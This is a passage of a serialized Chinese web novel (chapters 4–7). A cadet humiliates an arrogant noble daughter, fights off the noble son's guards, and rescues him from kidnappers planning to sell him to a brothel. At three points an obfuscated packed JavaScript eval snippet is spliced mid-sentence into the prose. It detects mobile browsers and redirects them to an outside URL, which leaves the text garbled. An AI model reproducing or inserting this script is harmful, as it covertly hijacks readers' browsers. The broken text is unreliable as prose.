商茁明白自己这是被当成软柿子了,一旁的赵国安愤愤地想要起身冲云煜理论,却被商茁给摁住了。她心平气和地开口:“云同学是有什么事吗?” 云煜不耐烦地说:“叫你起来,没听见吗?!你坐着我的位置了!” “嗯?”商茁眉心微蹙,一副迷惑不解的样子,“云同学不是已经退学了吗?何来你的位置一说?你即便复学,也需听从教官安排重新分配位置,现下班里每个同学的位置都是傅教官已经分配好的……” 云煜被戳到痛脚,恼羞成怒地握拳挥向商茁,“少拿傅世嘉来压我!你们这些不分尊卑的贱民!!看本女君今日怎么教训你!!!” 可她的拳头挥舞到一半,就被人握住了手腕,商茁冷冷地看着她,“云同学满嘴尊卑,可自己却对教官直呼其名,连最起码的尊师重道都不知道的人,也好意思说什么尊卑?”说着,手上不着痕迹地加大了力气。 “痛痛痛!!!你快放手!!”云煜满脸痛楚,觉得自己的手腕快要被捏断了。 可商茁不为所动,继续说道:“陛下称呼全天下的女人为自己的姐妹、同胞,而你,一个侯爵的女儿,就敢狂妄地称呼陛下的同胞,未来保家卫国的将士们为贱民!你是想说你们云家比陛下还要尊贵吗?!” 这一番话,将全班震得鸦雀无声,大家看向云煜的目光愈发不善。 “说的好!” 众人扭头看去,只见傅教官站在门口拍手叫好,她的身边还站着一个通身贵气的中年女子,两人一前一后地走了过来。 看到教官过来了,商茁连忙松开云煜,抱拳向傅教官行礼,“教官好。” 云煜揉着自己红肿的手腕,向一旁的中年女人告状。“母亲,你可要为我做主啊!不光傅世嘉欺负我!她这些小喽啰们也有样学样的,跟着她一起欺负我!!” 不等中年女人开口,傅教官冷冷地质问云煜道:“你自己欺凌同学不成,竟还要反咬一口吗?”说完,又看向中年女人,“云候,刚才发生的事情,你我二人有目共睹,我傅世嘉不过一个小小五品千户,不敢肖想侯府女君把我当做老师。” “但云煜把保家卫国的将士叫做‘贱民’,不但有辱这些学生,更是寒了边关将士的心!她们做梦也想不到,自己拼上性命也要保护的人,竟然叫她们‘贱民’!!今日之事,我定要告到陛下面前,求陛下为这些孩子和军中将士做主!!” 定国候眉心紧蹙,明白这件事傅世嘉是铁了心要闹大了,虽说她区区一个五品千户是不足为惧,可她却有个陛下近臣的姐姐!如果现在不能给傅世嘉一个满意的结果,那之后自己要面对的就是陛下的问责了……几瞬呼吸间,定国候已经想好取舍了。 众目睽睽之下,定国候抬手便给了云煜一耳光,“孽女!还不快给傅教官赔礼道歉?!你爹平日把你宠得不学无术,在家里霸道任性也罢了,在学校竟然也敢如此无礼!” 云煜捂着火辣辣的脸颊,不敢置信地看向平日里最疼爱自己的母亲,她长这么大,母亲从来没有对她说过半点儿重话,可今日却在这么多人面前打了自己一耳光。震惊、屈辱、不甘……种种情绪掺杂在一起,让云煜生平第一次尝到苦涩的滋味。她不顾母亲的呼喊,扭头朝门外跑去。 “云煜!云煜!你给我回来!!” 见女儿头也不回地就跑了,定国候又气又心疼,她气女儿怒其不争,明明是一件小事,现在却闹到要告上御前的地步;可毕竟是她怀胎九月生下来的亲生骨肉,打在孩儿身痛在母心,如果没办法了,她怎么会舍得打自己的宝贝女儿。 定国候快速收拾好情绪,扭头向傅教官赔笑道:“世嘉啊,煜儿年纪小不懂事,我替她给你道个歉,你就饶了她这一回吧~刚才我也教训过她了。这本来也只是小孩子家的小打小闹,咱们这些当长辈的怎么好和孩子一般见识?你说是不是~” 傅教官侧了侧身,避开定国候想要套近乎的动作。冷声道:“在座的学生哪个不是和云煜一般大?却有哪个向她一般目下无尘、欺辱同学的?”说着,她看向商茁,“你该道歉的是被云煜欺负的人。” 听到傅世嘉的话,定国候的额角跳了跳,她心里有些恼怒地想:“好你个傅世嘉!我堂堂一介侯爵给你一个五品小官赔礼道歉已经够给你脸面了,你竟然还敢蹬鼻子上脸!” 心虽然已经升起怒火,但定国候面上仍是一副不显的样子,她看向商茁,一副屈尊降贵的样子,“孩子,同学之间难免有摩擦矛盾,这次就请你见谅煜儿的无心之举。俗话说的好,不打不相识~之后你和煜儿相熟了,就知道她本质不是个坏孩子,也欢迎你以后常来侯府做客。” 商茁明白定国候这是给自己抛了个橄榄枝,以定国候的身份,多少人想见她一面都难,可她却在众人面前邀请自己去府上做客,这其中隐藏着多少无形的利益…… 但商茁却摇头拒绝了,她神情满是威武不能屈的坚定,“云候,若云煜今日只是与我有私人冲突,或可就此揭过。但她公然蔑视师长、侮辱将士,此事便不能善了!或许我们这些出身普通家庭的人穷其一生都无法和云煜家世相比,我们也没有一个身为侯爵的母亲,但是这不应该是我们被欺负的原因!” 商茁抬手打断了准备说话的定国候,看向四周的同学,“我们在座的各位,或许出身没有云煜富贵,但我们对国家的热爱远比‘不需要赚军功’的云煜赤诚的多!我们每个人都做好了保家卫国、为国牺牲的准备!不求有多大的奖赏,但求给我们最起码的尊重!云大人,请不要让将士们流血又流泪!” 眼见商茁三言两语把一屋子人的情绪都点燃了,定国候心里暗暗吃惊。明明只是个面容稚嫩的小女郎,可定国候却在她的身上,看到几十年前那位在朝堂叱咤风云的丞相影子。 定国候不禁有些怀疑,这个女郎是不是进错学校了?有这脑子、有这口才,去文院多好!也省得女儿遇到她,惹出今天的麻烦来! 看着一屋子学生对自己怒目而视,仿佛自己是什么无恶不赦之徒一样!定国候明白自己此时不得不低头了,要是学生集体去宫门前抗议,再重演十年前的事,那她们一家子都得完! 思及此,定国候终于收起侯爵的架子,她端端正正朝商茁行了一礼,她语气诚恳地向商茁道歉,“孩子,哦不,商同学,‘女不教母之过’,此事都怪我平时对云煜疏于管教,才让她酿成今天之错!我今后定当对她严加管教,回去就罚她家法十棍,让她在自己的院子闭门反省三个月!” 说着,定国候又一脸黯然地叹息道:“我也是军人,虽说爵位是世袭,但军功也是我从尸身血海中厮杀出来。我也深知将士们的不易与苦楚。可因当年我怀云煜时,边关异族突然来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937321|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯,我怀着云煜上阵杀敌,导致她不足月就早产了,刚出生的云煜就如同猫儿一样,小小的一个,我甚至来不及好好的看看她,就得赶紧把她送回京城……” “因为早产,再加上才出生就舟车劳顿,云煜从小身体一直不好,我因愧疚,一直也不舍得严厉教导她,所以才把她养出如今这个目下无尘的样子。” 商茁看着屋子的同学有人因定国候的话,眼眶发红,吸着鼻子,她知道定国候已经把同学们的心重新给收拢过去了,此时她如果再揪着不放,就显得她为人刻薄小气,不把保家卫国的女候放眼里了。 想清楚后,商茁朝定国候拱了拱手,“女候为国家的付出,令人钦佩,我也不愿让女候这样为国奉献的英雌伤心,这件事就按女候说的办吧。还望女候以后能好好管教云煜,不要让她再重蹈覆辙。” 此刻,定国候提着的心终于放下。走出房门后,定国候觉得自己比操练了几天还累,想到不知道跑到哪里去了的女儿,她只觉得更累了。 见教官和定国候都走了,赵国安大力地拍着商茁的肩膀,激动地说:“阿茁你刚才太帅了!叭叭叭的一大串让定国候都不知道说什么了!”说着,赵国安又趴到商茁耳边悄声道:“我刚才看到定国候额角冒冷汗了……” 说完,两人心照不宣地相顾一笑。 至此一战,商茁在同学里也打响了名气,许多年以后,她舌战定国候的事迹依然流传在军校的新生之间。 …… 月末休沐,商茁婉拒了赵国安提议去她家玩儿的邀约,拿着军校发的补贴,买了一堆糕点、水果,回到医馆看望李大夫和琦玉她们。 可能是因为雏鸟情结,李大夫的医馆是商茁在这个世界上的第一个落脚点,医馆里的大家都很温暖地接纳了她,所以商茁总是下意识地把医馆当成了自己的家。 还没到医馆,隔了大老远,商茁就听到琦玉欢快的声音响起,“茁姐!你回来了!师傅,茁姐回来啦~” 然后医馆里哗啦啦地跑出好几个人,大家开心地围着商茁看了看,惊讶于商茁的变化。 “茁姐,你是不是长高了?!嗯,也变强壮了!”说着,琦玉伸手捏了捏商茁的胳膊,一如既往地熟络。 “商茁,你可以啊~这才多久,这肌肉就练出来了~” “有腹肌没?衣服脱了给姐妹们看下~” “哈哈,二师妹你羡慕就自己练个,一天天的总是眼馋人家的。” “好了,大家进屋说,不要再围着商茁了。”最后还是李大夫发话,将商茁从自己的一群徒弟里解救出来。 到了医馆,商茁开心地把自己带回来的糕点、水果分给大家,突然一道细声细气地声音叫住了她,“茁、商茁姐,你回来了~” 商茁回头一看,原来是后厨李叔的儿子小乙,这小孩儿总是一副柔弱害羞的样子,说话和小猫叫一样,细细软软的。商茁走的时候,他还送商茁了条自己绣的手帕,商茁没收,只记得他当时红着眼眶跑走了。 再次见到他,商茁难免想起他哭着跑走的画面,有些尴尬地和他打招呼,“是小乙啊。哦,来尝尝~刚做好的板栗饼可好吃了。”说着,递给小乙一包手中的糕点。 小乙红着脸接过了商茁递来的糕点,然后害羞地跑向了后厨。 “茁姐,我觉得小乙哥喜欢你。” 5. 第 5 章 商茁看着琦玉一副“我都懂”的小大人模样,好笑地说:“你一个小孩儿知道什么~这话以后别再说了,小乙本来就脸皮薄,你再打趣他,他以后更不敢出来了。” 琦玉辩驳道,“我说的是真的!他看你的目光总是黏糊糊的,跟大师姐看那个卖豆腐家的范小郎一样!” 正在吃糕点的青云听到小师妹的话,顿时被噎到了,她捶着胸口干咳着,喉咙好不容易通顺了,她指着琦玉笑骂道:“好你个小丫头,亏我对你这么好,每次出诊回来还给你带糖葫芦!你就是这么‘报答’我的?” 琦玉冲大师姐讨好地笑笑,“好师姐,你千万别和小孩儿一般见识!再说,我这不是想让茁姐明白小乙哥的心意嘛~” 青云无奈地摇摇头,她比小师妹看得透彻,小乙这是落花有意,商茁却是流水无情啊。她伸出手指隔空点了点琦玉,“上次让你背的药方你背好了?还有空在操心大人的事儿,我待会儿要检查,背错一个抄写五十遍……” 闻言,琦玉哀嚎一声,幽怨地瞪了青云一眼。噔噔噔地跑回后院背自己的药方去了。 商茁朝青云感激一笑,明白青云是专门为她解围才支开了琦玉。没办法,人的审美是很难改变的,她只喜欢浓颜系帅哥。商茁自认是个肤浅的人,做不到不看外表只看内心。小乙是个好男孩,但不是她喜欢的类型。 就在几人闲聊时,一辆华贵的马车停在了医馆的门外。两个小厮跟着一个头戴帷帽的纤瘦的身影走了进来,门外还站着四个侍卫。 商茁在一旁好奇地看着这一群浩浩荡荡的人,这是她穿越到大朝后,第一次见出门排场这么大的有钱人。 “李大夫在吗?我们公子要见她。”左侧个头稍矮些的小厮开口问道。 青云上前接待,神情淡淡地说:“师傅在后面配药,不知公子是有何事?” 帷帽内的人这才开口道:“我听闻李大夫最擅长配制止痛药,我需要她给我阿姐配些止痛药。” 商茁听到帷帽人说话后,侧目看了他一眼,觉得这人声音还怪好听的,是她穿越后,听过最好听的男声。 青云:“若是需要购买止痛药,我们店里有已经配好的,公子可以直接购买。” 那个带帷帽的公子却不乐意了,“我要的是专门配制的,不是那些普通货色!” 一旁的小厮见自己家公子生气了,连忙上前打圆场,“我们是定国候府的,还请医师通传下,李大夫只要能给我们公子配好药,赏赐定不会少。”说着,从荷包中取出一两银子递给青云。 青云神情有些不耐,“病人又没来,就算师傅现配也只能配通用的!” 商茁却若有所思地看着这群人,他们自称是定国候府的,而且先前那位公子说是给姐姐买止痛药的……如果几人没说谎的话,那这个小公子很可能就是云煜的弟弟。看来定国候是个守信之人,遵守承诺家法惩治云煜了。 就在双方陷入僵持时,李大夫的声音从后面传来。“商茁,我给你配制了些活血化瘀的药酒,你走时带上。训练时,磕碰到的话,就涂些药酒揉揉,对了,我得再给你配制些金疮药……” 商茁听到李大夫叫自己的名字,顿感不妙。这小公子的性格看起来和他姐差不多,都是个脾气大的,要让他知道自己就是让他姐受罚的人,他不找茬才怪呢! 果然,站在小厮中间的云雾听到李大夫的话后,轻声重复,“商茁,训练……”片刻他便反应过来,害自己阿姐挨打的罪魁祸首就在这里!他朝屋子里几人打量起来,最后把目光停在了商茁身上。 云雾款步走到商茁面前,声音凉凉地问:“你就是商茁?那个害我阿姐挨了母亲家法的狡猾小人!” 听到他的话,商茁轻笑一声,“这位公子,我是商茁不错,但你后半句话,恕我不能苟同。令母是堂堂定国候,你姐姐更是她的亲生女儿,母女之情岂是我一个外人能轻易挑拨的?定国候惩治你姐姐,定是你姐姐有错在先,否则女候不会随意处罚她。又或者你觉得定国候是没事找事儿,故意找茬儿,好处置你姐姐?” 云雾被商茁的话气得一梗,这个商茁果然如同阿姐说一般可恶!他冷笑道:“你果真是巧舌如簧!要不能三言两语就害得我阿姐受了罚!今日我便要看看,把你的舌头割了,你还能不能口若悬河!来人,给我绑了她!” 门外几个侍卫听到自己公子呼唤,呼啦啦地全都跑了进来。 青云一看事态不对,给二师妹使了个眼色,让她去请女子护持司的人来,自己则是站到商茁前面,伸手将她护在身后。对云雾呵斥道:“云公子,定国候知道你在外面打着她的名字作威作福吗!男子伤害女子可是重罪!” 云雾哼了一声,心里根本不怕。他本来也只是打算吓吓商茁,好给阿姐出出气,要是能把商茁吓得抱头鼠窜就更好了~就算是女子护持司来了也不能把他怎样。 青云看云雾一副充耳未闻的样子,定国候府的侍卫又虎视眈眈围了过来,她咬了咬牙,低声对身后的商茁说:“阿茁,我拦住她们,你趁机快跑!” 就在青云打算上前拦住那些侍卫时,一股不容抗拒的大力按住了她。“青姐,你在这别动,我去把那些人处理了。”商茁脸上挂着一如既往的微笑,只是笑里不带半点温度。 商茁一个侧身避过朝她扑过来的侍卫,与此同时,手指飞快地探向那个侍卫肘弯内侧的“麻筋”,在侍卫手臂酸麻无力瞬间,又一个旋身一脚踢向了侍卫的膝后腘窝,侍卫顿时痛呼倒地。 傅教官曾经教过她们,人肘部内侧有个“麻筋”,捏住这里会使人手臂和手掌出现麻痛;而踢膝盖后侧,会使对方腿部无力,短时间失去站立能力。而商茁力气又异于常人,所以效果翻倍。 就这样,商茁如法炮制,又解决了剩下几个侍卫。众人反应过来时,几个侍卫已经全部倒地上痛苦哀嚎。 商茁一步步地走向云雾,眼神里带着猫抓老鼠般的戏谑。刚刚盛气凌人的云雾此刻如同一只战战兢兢的小鸡一样,躲在两个小厮的身后,再没有了刚才嚣张的气焰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937322|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼看商茁已经走到自己跟前,云雾仍色厉内荏地威胁道:“你,你不能打我!我母亲是定国候!你要是敢动我,我母亲绝对不会饶了你!”可声音里的哭腔,却出卖了他的真实心情。 商茁嗤笑道:“云公子,知道你有位当女候的母亲很骄傲,但也不用把这句话挂嘴上吧?求饶和道歉,你选个吧~或者……”商茁捏了捏手指,骨头发出“噼啪”的声音,她边捏边打量着云雾,嘴角挂着瘆人的笑意,“我可没有不打男人的信条,定国候公务繁忙,抽不出时间教训儿子,我向来乐于助人,可以代劳~” 云雾被吓得腿都软了,要不是身旁的小厮搀扶着他,早就瘫倒在地了。他长这么大,周围的人都是一直呵护、宠爱着他,就连一起长大的那些勋贵家里的女儿也都是捧着他,什么时候遇到过有人这么和他说话的? 可眼看商茁的手已经举起来,他只好带着哭腔地和商茁道歉:“对不起!都是我的错,求,求商女郎见谅……” 见云雾吓得够呛,商茁眼里飞快闪过一丝笑意,她放下故意吓唬云雾的手,轻咳一声,“你不是要买止疼药吗,买好就走吧。” 云雾慌忙点头,催促小厮赶紧给钱,之后更像是被鬼追了一样,药都不拿就飞快地朝门外的马车跑去。身后的两个小厮收好药后,急匆匆地朝自己家公子追去,几个侍卫也费劲儿地从地上爬起,一瘸一拐地跟上。 看云雾一行人走了,青云有些担忧地问:“阿茁,你什么时候得罪定国候府的女君了?” 商茁朝她笑笑,安慰道:“只是同学之间的摩擦罢了,青姐不用担心,都已经解决了。” 青云轻叹口气,“今日看来,这侯府女君恐怕是已经记仇了,连带着候府公子都知道你,可见这侯府女君没少和家里抱怨。你日后凡事谨慎些,省得她背地里朝你下黑手。有事及时差人通知医馆,我们虽说并无官职在身,可这些年诊治过的病人里也有一两个在朝为官的大人。有麻烦了,我们去求求人家,也会给我们几分薄面……” 听着青云絮絮叨叨地嘱咐,商茁觉得刚才因为云雾产生的不愉快好像突然消失了。她和医馆里的大家本来只是萍水相逢,只是短短地相处过一段时间,可大家却温暖地包容接纳了她,仿佛她本就属于这里。 商茁耐心地听青云唠叨完,笑着点点头,“青姐你放心,我会照顾好自己的,不会有事的。” 和医馆里的大家道过别后,商茁就准备回学校了。路过外城的一处巷子时,商茁不经意一瞥,却看到了巷子深处停着云雾那架华贵的马车。 商茁蹙着眉看了眼四周,这边地处偏僻,环境也不如内城干净整洁,她不觉得像云雾那种娇滴滴的小公子会来这里。虽说商茁和云家姐弟俩相处都不太愉快,但也没到希望对方出事儿的地步。 商茁阔步走进巷子,来到了马车跟前,伸手打开了车厢的门,却发现里面空无一人。 就在商茁准备离开,打算报官让官府追查时,一道“哒哒”的敲击声,吸引了她的注意力。 6. 第 6 章 商茁驻足细听,最终辨明,敲击声是来自巷口第二户人家的院墙之内。 她朝周围转了一圈,发现这几户人家都是房门紧闭,不知道是房子空置了,还是没人在家。而且商茁仔细观察后,发出声音的墙壁的这个房子很有可能是间仓库,它的屋顶要比正常房子高很多,只留上方有个气窗。 确认旁边的房子没有人居住后,商茁一个助跑,猛地一跳,攀住了墙顶,用力一撑翻到墙上。随后跳进了院子内。 商茁趴在两个院子中间的墙面侧耳倾听,并没有听到人声或者脚步声。她放下心来,故技重施,又翻到了隔壁院子。这里果然是间仓库,四周散落些陈旧的米袋,墙边堆放着几根竹竿和竹筐。 一阵脚步声突然传来,商茁心头一紧,快速地打量着四周,想找个藏身之处,而人影已经从屋内走了出来。 “阿虎,我已经和对方谈好了。他们今晚就来把人带走,搭乘货船走水路,把人卖到桃州那边的伎院。” “不行!让她们现在就把人带出城外。定国候府那边要是发现了云雾不见了,肯定会下令封锁城门,全城搜查的。这里根本藏不了多久……” 竹筐内的商茁大气都不敢出,听两个绑匪谈话的意思,是要把云雾给卖给伎院?商茁都搞不懂了,她们想要钱的话,不应该是用云雾威胁定国候交赎金吗?辛辛苦苦策划一场绑架,再费时费力把人卖给南边的伎院,赚得还没赎金多,她们图什么呢…… “冉姐,你去再找拐子王谈谈,让她尽快派人把云雾这贱人给带出城去。她若做不到,我们就找个窑子把这贱人给卖了,让他立马接客!就算定国候找到了他,我不信以后哪家女君会娶一个下贱的伎子!”顾虎满脸恨意地说道。 商茁听着这个叫“阿虎”的女人话,感觉她对云雾的恨意都快溢出来了,商茁猜不出她和云雾之间有什么关系,能让她提起云雾就恨得咬牙切齿,不惜冒这么大的风险,也要让云雾被糟蹋。难道她是云雾的情人?云雾对她始乱终弃了?啧,也不太可能,像云雾那样鼻孔朝天、高高在上的小公子会看上一个武妇吗? 商茁实在想不出一个女人为什么会如此恨一个男人,她俩看起来不像是一个阶层的人啊,一年都不知道能不能见上两次面,会有什么血海深仇,能让这个女人一心想要侮辱云雾…… 那个叫“冉姐”的女人匆匆出门了,商茁猜她是去找“拐子王”了。只剩阿虎一个人留在院中,她呆呆地望着天空,不知道在想什么。 片刻,阿虎收回目光,脸上带着层淡淡的哀愁,她声音低低地自语道:“哥哥,我一定会为你报仇的!让云雾这个贱人,也尝尝你当时的心情……” “哥哥”又是谁?商茁此刻满头问号,这关系怎么越理越乱了。绑匪一心想让云雾受辱,又说让云雾尝尝她哥哥的心情,难道——云雾是断袖?!强占了她哥哥?! 商茁被这个惊天大瓜给震惊了,云雾玩得这么花的吗?此刻商茁都有些犹豫要不要救云雾了。如果是云雾先欺负人家绑匪哥哥的,人家绑匪现在不过是正当还手,一报还一报罢了。 透过竹筐的缝隙,商茁看到绑匪转身走向东边的一间屋子。这应该就是绑匪关押云雾的屋子了,敲击声就是从这间屋子里面传出来的。 商茁从竹筐里钻了出来,悄悄地跟上去。她飞快地躲向墙角,身体紧贴墙面,微微探出头,打量着屋内的环境。里面空荡荡的,就是平时用来存放货物的仓库,只不过现在里面只有一个被五花大绑的云雾。哦不,还有一个面色不善的绑匪。 云雾当下的处境看着十分凄惨。那个用来遮挡面容的帷帽不见了,露出他白皙明艳的面容,嘴里还塞着一团的破布,原本梳理得端庄得体的发髻现下松垮凌乱,身上那件飘逸华美的广袖衣裙此刻沾满了尘土,皱皱巴巴的,如同一块脏兮兮的破布。 顾虎嘴角噙着瘆人的笑意,走到云雾身前,粗暴地扯着他的头发将他提了起来。“三公子,阶下囚的滋味怎么样啊?” 云雾疼得眼泪直流,他嘴里塞着破布说不出话,只能发出一些呜呜咽的声音。 门外的商茁不忍直视地眯了眯眼,她看着都疼!这一下地薅掉多少头发啊…… 顾虎却不肯就此罢休,又反手给了他两耳光,冷笑道:“这一切都是你应得的!要不是你,我哥哥也不会死!”说着,将云雾扔到地上,狠狠地踹了一脚。 云雾疼得直抽气,身体弯成虾子状,痛苦地蜷缩着。这一通折腾,云雾口中的布团不知道怎么掉了出来。他痛哭着求饶,“顾虎,求求你放了我吧,我保证不追究你今日之事!我,我让母亲给你很多很多的钱……” 顾虎厌恶地看着地上涕泪横流的云雾,冷冷地开口:“我不需要你的放过,而且,定国候会要一个伎子儿子吗~” 云雾惊恐地瞪大双眼,“你想干什么?!” 顾虎嘴角扬起一抹恶劣的笑容,她一字一句地说:“我要把你卖到伎院,让你成千人骑万人睡的表子,让你被你最看不的人玩弄~” 云雾尖叫道:“不!你不能这样!不要!” 顾虎面无表情地对他又是一脚,“闭嘴!吵死了。” 云雾疼得满头大汗,他蜷缩着身体,绝望地望向门外,迫切地希望有人能出现拯救他,谁都可以,只要能救他,让他做什么都可以…… 忽然,云雾的目光和一双黑白分明的大眼睛对视上了,他的眼睛刷的一下亮了起来,他大声朝门外呼救道:“商茁!救救我!只要你救了我,我,我可以嫁给你!” 商茁脸上露出难以形容的复杂表情。 要不是条件不允许,商茁真想握住云雾的肩膀疯狂摇摆,“大哥!你是被揍昏头吗了?!你是没看到绑匪腰间那把四十米的大刀吗?!你要是不吭声,我还能来个背后偷袭,你这一嗓子,直接给绑匪报预警了!!还有,谁要娶你,啊喂!!!” 尽管内心的吐槽弹幕已经刷了99+了,但商茁面上依然冷静从容,然后——掉头就跑!别人的生命和自己的生命,她当然选择自己的了!她虽然力气大,但是也只是学了些防身术,那么大的刀,被砍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937323|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子那是开玩笑的吗?! 可很快,商茁就发现了一件更倒霉的事儿——出门的那个绑匪回来了!更倒霉的是,对方也带着武器!! 啊~倒霉!倒霉!!倒霉!!! 商茁环顾四周,抄起墙边的竹竿,趁其不备朝进门的绑匪猛击过去。对方果然没有防备,被打翻在地。商茁连忙用竹竿把对方的刀划拉过来,然后扔进隔壁没人的空院子。 这时,屋内的顾虎已经提刀出来了,两人一照面,商茁发现对方就是自己上午在医馆揍过的定国候府侍卫!怎么回事?她上午还对云雾言听计从,保护着他,怎么下午就变心了?! 不等商茁想出个所以然,顾虎提刀就向商茁劈了过来,商茁下意识举起竹竿抵挡。 “咔嚓。”竹竿断裂的很干脆。 眼看顾虎举起刀准备落下第二劈,商茁灵机一动,拿起竹竿朝顾虎身下扫去。果然,力量聚集在上半身的顾虎,被抽倒在地,但刀依然被她死死握在手中。 商茁无奈,又朝她的手臂来了一下。疼痛迫使顾虎松开了手中的刀柄,商茁如法炮制,用竹竿把刀划拉到自己身边,捡起到扔向了隔壁院子。 做完这些事,商茁这才松了一口气。对方没了武器,仅凭赤手空拳,两人加在一起都不是她的对手。 就当商茁准备去屋子里把云雾解开时,顾虎叫住了她,“商茁,你不是那种趋炎附势之人,为什么要救云雾,你想娶他?” 商茁把头摇成拨浪鼓,“不想。” 顾虎:“那你为什么救他?” 商茁不解地问:“任何一个有能力且三观正常的成年人,看到一个,呃……一个弱男子,被人欺负,都会挺身而出的,这是人之常情吧?” 顾虎哈哈大笑,“好一个人之常情!”可她笑着笑就哭了起来,“那为什么没有人帮我哥哥一把?!他明明那么善良!那么柔弱!为什么当时没有人愿意帮他一把?为什么连云雾这样的贱人都能被人拯救,而我的哥哥,那么好的人,却、却……”她说不下去了,哪怕哥哥已经过世两年了,但她提起哥哥的死因,依然会想崩溃大哭。 这时,那个叫“冉姐”的绑匪醒了,她听到顾虎的话,眼泪也脱框而出。若非意外,顾虎的哥哥此时应已嫁给她了,幸运的话,她们还会有一个属于她们的孩子……可这一切,都被云雾给毁了! 冯冉挣扎着起身,看到商茁眼神防备地看着她,冯冉苦笑着朝商茁跪下,“商女郎,这一切责任归我,是我谋划了这场绑架,阿虎只是受我怂恿。请你高抬贵手,放她一条生路吧!我愿意和你去衙门自首,认罪伏诛!” 顾虎闻言,疯狂大喊:“不是的!她说谎!是我!都是我谋划的!阿冉姐根本不知情!你抓我好了!此事与阿冉姐无关!”说着,挣扎着起身。 商茁看着使劲儿往自己身上揽罪的姨姐俩,有些头疼地捏了捏眉心,“我说,你们是不是误会什么了?我只是个路过的热心路人,又不是官差,同我认什么罪?” 两人齐齐愣住,呆呆地看着商茁。 7. 第 7 章 商茁双手抱胸,神色淡淡地对两人说:“我只是个普通学生,既没能力替你们伸张正义,也没责任替官府追凶,你们之后向官府投案自首,还是其他的,那是你们的事。” 顾虎和冯冉不敢置信地对视一眼,本来以为今日就要锒铛入狱了,谁知商茁竟然要放她们一马!两人互相搀扶着站了起来,朝商茁深深一拜,便转身离开,朝门外走去。 商茁看着两人的身影消失在视线中,才转身向屋内走去。地上的云雾如同一个破布娃娃一般,趴在地上一动不动。 她蹲下身,对地上的人问道:“喂,还活着吗?” 听到商茁的声音,云雾缓缓地抬起头,他口中塞着破布团,流着眼泪对商茁呜咽出声。原来是顾虎怕他乱喊,又把破布给他塞了回去。 虽然不太道德,但商茁看着云雾顶着一个猪头脸冲她哭得梨花带雨,还是一个没忍住,“扑哧”笑出声来。 “抱歉、抱歉,咳,我笑点比较低。” 商茁边笑边伸手把云雾口中的破布团拿出,又帮他把身上的绳子解开。谁知,云雾刚恢复自由,便“哇地”一声扑到她的怀中放声大哭。 商茁看着在自己怀里哭得不能自已的云雾,一时间尴尬得手都不知道放哪儿了。不是说古代人矜持端庄吗?她俩今天才认识,关系没到这一步吧? 不知过了多久,怀中的云雾终于止住了哭声,他抽抽搭搭地趴在商茁怀中平复着情绪。 “诶,抱够了就松手吧,我腿都麻了。” 云雾听到脑袋上方传来商茁清越的声音,才意识到自己正死死地抱着一个陌生女郎的腰,他脸一红,连忙松开了手,从商茁的怀中钻了出来。 商茁低头看了眼自己今天刚换的衣服,胸前两团被泪水打湿的水痕格外显眼,还有些被云雾蹭到衣服上的污渍。她无奈地说:“云公子,你怎么还‘恩将仇报’呢?我救了你,不说声谢谢就算了,还在我衣服上画了副‘大作’……” 云雾抬眼看向商茁的衣服,两团被自己哭出来的水痕,赫然映入眼帘。云雾羞红了脸颊,不好意思地开口道歉:“商女郎,对不起弄脏了你的衣服。等我回家了,定会再赔你身衣裳!哦不,再赔你十身!” 商茁起身,朝趴在地上的云雾伸出手,“起来吧。” 云雾看着面前这只肤色冷白、手指修长的手掌,下意识地就将自己的手放了上去。可自己沾满尘土的手,和对方的手放在一起,显得格外肮脏。云雾羞愧地不敢抬眼看商茁的表情,就在他想要收回手时,对方干燥温暖的手掌,以一股不容逃离的姿态紧紧地包裹住了他的手。 商茁轻轻一拉,毫不费力地便把云雾从地上拉了起来。见云雾站稳后,她随即松开了两人交叠着的手。 察觉到那道温暖的力量离开时,云雾的手下意识地想要追逐上去。可他十几年来的教养阻止了他,云雾知道今天自己已经多次逾矩了,一个男郎家举止太过轻浮,会让人瞧不上的。他不想让商茁觉得自己是一个放荡的男郎。 云雾整理了下凌乱的衣服,默默地朝一旁移了几步,和商茁保持距离。 商茁并没有在意云雾的举动,只是朝门外看了眼,对云雾说:“我去定国候府帮你传个信儿,你在这儿等着你家人来接……” 商茁话还没说完,就被冲过来的云雾给打断,他紧紧地攥着商茁的衣服,满脸惊恐地哀求,“商茁!商女郎,求求你!不要留我一个人在这里!我害怕……” 商茁看着云雾再次决堤的眼泪,头疼地按了按太阳穴,她就不明白了,怎么有人这么能哭,这眼泪都不带酝酿的,说来就来! 